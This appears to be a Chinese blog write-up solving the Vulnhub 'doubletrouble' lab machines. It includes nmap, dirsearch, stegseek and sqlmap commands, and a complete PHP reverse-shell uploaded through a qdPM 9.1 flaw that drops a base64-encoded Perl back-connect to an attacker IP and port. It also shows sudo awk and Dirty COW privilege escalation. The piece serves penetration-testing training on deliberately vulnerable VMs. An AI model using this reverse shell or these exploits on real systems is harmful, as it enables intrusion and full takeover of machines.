Vulnhub实战-doubletrouble靶机

靶机下载地址:https://www.vulnhub.com/entry/doubletrouble-1,743/

下载页面的ova格式文件导入vmware,或者vitrualbox打开即可

靶机1渗透测试

1.靶机描述

描述
回到顶部
获得标志
难度:容易
关于 vm:从 virtualbox 测试并导出。dhcp 和嵌套 vtx/amdv 启用。您可以通过电子邮件与我联系以进行故障排除或问题。
这对 VirtualBox 比 VMware 更有效
这里有个小tips:因为这个ova格式文件是从vitrualbox虚拟机里面导出来的,所以你如果在vmware里面打开就接收不到
ip地址,因为vitrualbox的网卡名字是eth什么的,后面接数字一般。然后vmware的网卡名字一般是ens开头,所以你在
vitrualbox导出的虚拟机在vmware打开就不会自动获取IP,你需要把网卡改成一致然后重启才能获取IP。如果不会改网
卡,请参考下面链接:
https://blog.csdn.net/PeterWuu/article/details/105640638
这个教程第二步好像是:rw single init=/bin/bash
应该不是i,教程上面写的是i,可能作者手误吧!

2.进行主机发现,端口扫描

首先我们把虚拟机导入vmware或者vitrualbox,这里我是导入的vmware,然后开启它就好了

  1. 进行主机探测

nmap -sn 192.168.33.0/24

我这里局域网的虚拟机比较多,如果你的局域网虚拟机也比较多分辨不出来的话,你可以通过mac地址去匹配对应的ip地址,mac地址在虚拟机设置里面可以看到

  1. 进行端口扫描

nmap -sS -p- -v -O 192.168.33.163

我们可以看到开启了22和80端口,证明开启了SSH和web服务,这里前面文章有提到,你可以尝试试试暴力破解SSH的用户名密码,用kali自带的hydra工具,经过我上一次尝试,发现机率微乎其微,除非用的是admin:123456这样的弱口令。

3.web服务检测

我们访问ip地址192.168.33.163得到如下页面

我们还是首先用dirsearch目录扫描一下

python3 dirsearch.py -u 'http://192.168.33.163' -i 200

我们可以看到果然扫出了一下常见目录,挨个目录查看,都没有发现什么东西,最后发现/secret/目录下面有一张图片,百度发现可以用stegseek工具来暴力破解这张图片。

下载参考链接:https://www.freebuf.com/sectool/261633.html

然后我们通过kali自带的字典rockyou.txt,这个字典在kali的/usr/share/wordlist目录下面,是一个压缩包,需要先进行解压

stegseek /root/doubletrouble.jpg /usr/share/wordlists/rockyou.txt -xf output

我们破解完这张图片之后生成一个output文件,发现里面有一个用户名跟密码,不用猜肯定是刚刚那个登录页面的用户名密码,我们来试一试吧!

登陆进去之后发现一个文件上传,在个人设置里面

qdPM漏洞利用

在一开始的登陆页面我们可以看到有个qdPM 9.1,搜索qdPM 9.1的漏洞,我们找到一个远程代码执行漏洞。https://www.exploit-db.com/exploits/50175, 把脚本下载下来。这个脚本的回车有点问题,需要自己调一下。不过,这个漏洞也挺简单的,其实就是用户的myAccount界面的图片那一栏是可以上传文件的,那我们就可以上传一个php反弹shell的脚本。

这里我不知道啥情况,反正这个脚本我搞不明白,python脚本怎么上传php反弹shell呢,如果有大佬知道还望告知,这里我找到一个php的反弹shell的脚本,大家改一下ip,端口就可以直接上传用了。

<?php
function which($pr) {
$path = execute("which $pr");
return ($path ? $path : $pr);
}
function execute($cfe) {
$res = '';
if ($cfe) {
if(function_exists('exec')) {
@exec($cfe,$res);
$res = join("\n",$res);
} elseif(function_exists('shell_exec')) {
$res = @shell_exec($cfe);
} elseif(function_exists('system')) {
@ob_start();
@system($cfe);
$res = @ob_get_contents();
@ob_end_clean();
} elseif(function_exists('passthru')) {
@ob_start();
@passthru($cfe);
$res = @ob_get_contents();
@ob_end_clean();
} elseif(@is_resource($f = @popen($cfe,"r"))) {
$res = '';
while(!@feof($f)) {
$res .= @fread($f,1024);
}
@pclose($f);
}
}
return $res;
}
function cf($fname,$text){
if($fp=@fopen($fname,'w')) {
@fputs($fp,@base64_decode($text));
@fclose($fp);
}
}
$yourip = "192.168.33.217";
$yourport = '10086';
$usedb = array('perl'=>'perl','c'=>'c');
$back_connect="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj".
"aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR".
"hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT".
"sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI".
"kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi".
"KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl".
"OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw==";
cf('/tmp/.bc',$back_connect);
$res = execute(which('perl')." /tmp/.bc $yourip $yourport &");
?>

这里比较搞笑的是,无论是跑脚本还是自己手动上传,网页和代码的反馈都会让你觉得自己是不是没有上传成功。会报错,但是其实已经上传成功了。

上传之后脚本在刚刚开始我们目录扫描的那个/uploads/users目录下

然后kali监听10086端口,这个端口是你脚本自己设置的端口。

nc -lnvp 10086

提权

接下来我们看一下当前用户能够使用的sudo权限,这里显示当前用户可以免密执行awk命令

搜索一下awk提权,我们可以这样:

sudo awk 'BEGIN {system("/bin/bash")}'

我们可以看到此时我们已经是root用户了,看看root文件夹,发现了一个ova文件,百度看了大佬博客才知道这又是一个虚拟机,好家伙!不愧是doubletrouble啊,果然跟题目还有点呼应,我们下载下来这个虚拟机文件在vmware中开启。

我们在靶机中开启http服务功能,然后kali通过wget下载下来,下载下来之后在vmware中开启靶机。然后还是之前的步骤,扫描主机ip,端口,服务。

python3 -m http.server 9000

wget http://192.168.33.163:9000/doubletrouble.ova

如下是python -m的用法:

靶机2渗透测试

1.进行主机探测

nmap -sn 192.168.33.0/24

2.端口,服务发现

nmap -sS -p- -v -O 192.168.33.252

3.web服务测试

首先我们通过端口扫描发现开启了80端口,说明存在http服务,我们访问ip地址,看到如下一个登录框页面:

这里让我们输入用户名密码,然而我们并不知道账户名也不知道密码。尝试扫描网站目录发现没有额外的信息,就只有这么一个网站。

sqlmap注入获取用户名密码

我们还想到有一个神器sqlmap,通过sqlmap看看这个登录框存不存在注入,抓包保存文件1.txt,在kali里面打开sqlmap扫描,命令如下:

sqlmap -r /root/1.txt --current-db      //爆出数据库名doubletrouble
sqlmap -r /root/1.txt -D doubletrouble --tables //爆表
sqlmap -r /root/1.txt -D doubletrouble -T users --columns //爆字段
sqlmap -r /root/1.txt -D doubletrouble -T users --dump //爆内容

我们看到这里有两对密码,第一对似乎没啥用,第二对能够连上ssh

ssh clapton@192.168.33.252

提权

我们看了一下,这个用户只是普通用户,目录下面有一个user.txt,里面是一串字符,我们接下来就是想办法拿到root权限,看看root文件夹有什么东东。我们先看看系统版本

uname -a

这里有个脏牛漏洞,漏洞编号CVE-2016-5195漏洞类型内核竞态条件漏洞漏洞危害本地提权影响范围Linux kernel>2.6.22。该漏洞是Linux内核的内存子系统在处理写时拷贝(Copy-on-Write)时存在条件竞争漏洞,导致可以破坏私有只读内存映射。黑客可以获取低权限的本地用户后,利用此漏洞获取其他只读内存映射的写权限,进一步获取root权限。他有很多个poc,其中这个poc可以生成一个账号名为firefart的root用户,https://github.com/FireFart/dirtycow

我们把poc下载到靶机的/tmp目录下,然后编译,执行。

这里因为靶机没有git,wget,yum这些命令,所以我们可以把代码复制下来,在靶机通过touch dirty.c创建一个c文件,然后粘贴进去,编译执行就行了。

gcc -pthread dirty.c -o dirty -lcrypt
./dirty
su firefart
//中间会让我们输入一个密码,这个密码就是firefart的密码,然后我们登录就可以了


Vulnhub实战-doubletrouble靶机👻的更多相关文章

  1. Vulnhub实战-JIS-CTF_VulnUpload靶机👻

    Vulnhub实战-JIS-CTF_VulnUpload靶机 下载地址:http://www.vulnhub.com/entry/jis-ctf-vulnupload,228/ 你可以从上面地址获取靶 ...

  2. Vulnhub实战-DockHole_1靶机👻

    Vulnhub实战-DockHole_1靶机 靶机地址:https://www.vulnhub.com/entry/darkhole-1,724/ 1.描述 我们下载下来这个靶机然后在vmware中打 ...

  3. Vulnhub实战-Dockhole_2靶机👻

    Vulnhub实战-Dockhole_2靶机 靶机地址:https://www.vulnhub.com/entry/darkhole-2,740/ 1.描述 hint:让我们不要浪费时间在蛮力上面! ...

  4. Vulnhub实战-grotesque3靶机👻

    Vulnhub实战-grotesque3靶机 靶机地址:http://www.vulnhub.com/entry/grotesque-301,723/ 1.靶机描述 2.主机探测,端口扫描 我们在vm ...

  5. Vulnhub实战-FALL靶机👻

    Vulnhub实战-FULL靶机 下载地址:http://www.vulnhub.com/entry/digitalworldlocal-fall,726/ 1.描述 通过描述我们可以知道这个靶机枚举 ...

  6. Vulnhub实战-rtemis靶机👻

    Vulnhub实战-rtemis靶机 下载地址:http://www.vulnhub.com/entry/r-temis-1,649/ 描述 通过描述我们知道这个靶机有两个flag 主机发现 通过nm ...

  7. Vulnhub实战-dr4g0n b4ll靶机👻

    Vulnhub实战-dr4g0n b4ll靶机 地址:http://www.vulnhub.com/entry/dr4g0n-b4ll-1,646/ 描述:这篇其实没有什么新奇的技巧,用到的提权方式就 ...

  8. 【Vulnhub】DC-2靶机

    Vulnhub DC-2 靶机 信息搜集 访问web端发现访问不了,可以观察到相应的URL为域名而不是IP,需要在hosts文件种添加一条DNS记录. host位置:C:\Windows\System ...

  9. 3. 文件上传靶机实战(附靶机跟writeup)

    upload-labs 一个帮你总结所有类型的上传漏洞的靶场 文件上传靶机下载地址:https://github.com/c0ny1/upload-labs   运行环境 操作系统:推荐windows ...

随机推荐

  1. Linux centos 安装 mysql 5.6

    一.mysql下载 1.方式一(简单粗暴) 直接在linux 目录下wget https://dev.mysql.com/get/Downloads/MySQL-5.6/mysql-5.6.43-li ...

  2. 第一章 Net 5.0 快速开发框架 YC.Boilerplate--框架介绍

    YC.Boilerplate 框架介绍 YC.Boilerplate 是一套快速开发框架,采用当下流行的前后端分离开发模式,前端 采用VUE.后端采用Net 5.0:框架实现了 多租户.动态webAp ...

  3. assign()与create()的区别

    Q:assign()与create()的区别? A:let obj = Object.assign(targetObj, -sourceObj) 作用:将一个或多个源对象自身的可枚举属性与目标对象的属 ...

  4. 学习小计: Kaggle Learn Time Series Modeling

    ARIMA模型,参数含义参考:https://www.cnblogs.com/bradleon/p/6827109.html from statsmodels.tsa.arima_model impo ...

  5. centos7 误用 cat 打开了一个很大的文件

    2021-09-01 1. 问题描述 刚才看到一个文件,出于好奇我就直接用 cat 命令查看了一下,结果文件巨大,一直刷屏停不下来 2. 解决方法 克隆一个窗口,抓一下这个 cat 进程,再使用 ki ...

  6. Shell脚本基础及基本常用命令

    1.概述 脚本语言(shell.python):解释性语言,用解释器解释 运行效率低 | c.java:描述性语言,运行效率高 以.sh结尾会有高亮显示 执行: sh hello.sh 或者 chmo ...

  7. 代码保留格式(高亮)复制到Word(转载)

    将代码保持高亮复制粘贴到word上,一些方法如下: 方法一:借助网站http://www.planetb.ca/syntax-highlight-word/(代码有编号,整体排版精美令人舒适,但语言有 ...

  8. jenkins AWS CodeDeploy不停机部署

    此项目的特点是把Jenkins与CodeDeploy相结合做的CICD做的蓝绿发布,CI与CD 是分开的,CI构建完以后以BuildNumber的形式把war包存至AWS的S3桶中.同时在java项目 ...

  9. 聊聊 Jmeter 如何并发执行 Python 脚本

    1. 前言 大家好,我是安果! 最近有小伙伴后台给我留言,说自己用 Django 写了一个大文件上传的 Api 接口,现在想本地检验一下接口并发的稳定性,问我有没有好的方案 本篇文章以文件上传为例,聊 ...

  10. 被面试官问懵:TCP 四次挥手收到乱序的 FIN 包会如何处理?

    摘要:收到个读者的问题,他在面试的时候,被搞懵了,因为面试官问了他这么一个网络问题. 本文分享自华为云社区<TCP 四次挥手收到乱序的 FIN 包会如何处理?>,作者:小林coding . ...